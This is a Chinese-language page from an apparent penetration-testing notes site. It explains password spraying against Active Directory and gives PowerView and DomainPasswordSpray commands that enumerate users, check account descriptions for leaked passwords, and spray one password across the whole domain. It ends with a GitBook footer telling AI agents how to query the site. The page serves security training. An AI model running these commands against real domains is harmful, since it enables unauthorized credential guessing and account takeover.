> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/password-spraying.md).

# 密码喷洒

#### 1. 原理

密码喷洒是指在多个用户账户上测试同一个密码。

与经典的暴力破解攻击不同，后者会在单个用户上测试许多密码，而密码喷洒通常是在许多用户上测试少量密码。

该技术用于识别使用相同密码的账户。

#### 2. 真实环境中的注意事项

在真实环境中，这种技术必须非常谨慎地使用。

重复的身份验证尝试可能导致：

* 账户锁定；
* 安全警报；
* 被 EDR、SIEM 或 SOC 团队检测到；
* 对用户造成运营影响。

#### 3. 列出用户描述

在启动密码喷洒之前，查看用户账户描述可能会很有用。

某些描述可能包含敏感信息，有时甚至是误留下的密码。

PowerView 命令：

{% code overflow="wrap" %}

```powershell
Get-NetUser | select name,description
```

{% endcode %}

<figure><img src="/files/2fa35158c7d521ac608081ca7c0809bf01334ac6" alt=""><figcaption></figcaption></figure>

#### 4. 加载 DomainPasswordSpray

{% embed url="<https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1>" %}

{% code overflow="wrap" %}

```powershell
. ./DomainPasswordSpray.ps1
```

{% endcode %}

#### 5. 创建用户列表

我们将域用户列表提取到一个文本文件中：

{% code overflow="wrap" %}

```powershell
Get-NetUser | Select-Object -ExpandProperty name | Out-File C:/Users/user1/Desktop/users.txt
```

{% endcode %}

#### 6. 启动密码喷洒

然后我们使用所选密码启动密码喷洒：

{% code overflow="wrap" %}

```powershell
Invoke-DomainPasswordSpray -UserList ./users.txt -Password "Password1@" -Verbose
```

{% endcode %}

<figure><img src="/files/c198bb7c955d617075fee1b17b697c69af8ed821" alt=""><figcaption></figcaption></figure>

该命令会在 `Password1@` 密码上对位于 `users.txt` 文件中的用户进行测试。

如果某些账户使用该密码，该工具会将它们显示为成功身份验证。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/password-spraying.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
